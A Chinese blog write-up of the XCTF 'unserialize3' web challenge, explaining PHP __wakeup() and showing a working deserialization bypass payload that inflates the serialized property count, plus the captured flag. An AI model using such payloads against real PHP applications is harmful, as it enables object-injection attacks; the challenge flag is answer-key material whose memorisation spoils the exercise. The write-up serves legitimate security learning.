zoukankan      html  css  js  c++  java
  • 攻防世界-web unserialize3

    打开环境,进入页面

    这貌似是要给code一个值,那我们看看上面的那段代码,class xctf,声明了一个对象。

    然后我突然注意到了_wakeup(),这个以前貌似见过,nice,想起来了,这是魔术方法嘛。如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。

    那好我们需要反序列化。写一下吧

    <?php
    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $a = new xctf();
    echo serialize($a);
    ?>

    这样运行一下的话,输出

    O:4:"xctf":1:{s:4:"flag";s:3:"111";}

    那我们如果直接这样?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},那他会直接输出bad requests,

    那这并不是我们想要的结果。所以我们还要利用漏洞绕过。而_wakeup()要求被序列化的对象属性个数要大于原来的1

    将序列化字符串中代表变量个数的数字改为大于其真实值的数字,得到结果。

    pyload

    ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

    得到flag:

    cyberpeace{ecb272ecae9b3b73f3009359272108b0}
  • 相关阅读:
    耿建超英语语法---使动词
    tensorboard的安装及遇到的问题
    利用PIL实现图片的切割
    mysql explain
    laravel sql查询
    聚簇索引和非聚簇索引
    修改数据表结构导致的问题
    接口优化记录
    redis优化记录
    php 判断两个数组是否相等
  • 原文地址:https://www.cnblogs.com/awsole/p/13859428.html
Copyright © 2011-2022 走看看